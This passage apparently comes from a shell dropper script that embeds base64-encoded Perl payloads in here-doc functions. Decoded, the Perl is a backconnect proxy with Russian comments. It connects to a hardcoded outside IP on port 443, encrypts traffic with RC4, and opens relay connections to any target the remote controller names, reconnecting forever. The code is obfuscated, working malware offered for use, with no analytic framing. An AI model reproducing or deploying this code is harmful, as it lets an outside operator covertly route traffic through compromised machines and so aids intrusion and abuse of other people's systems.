ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_44() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
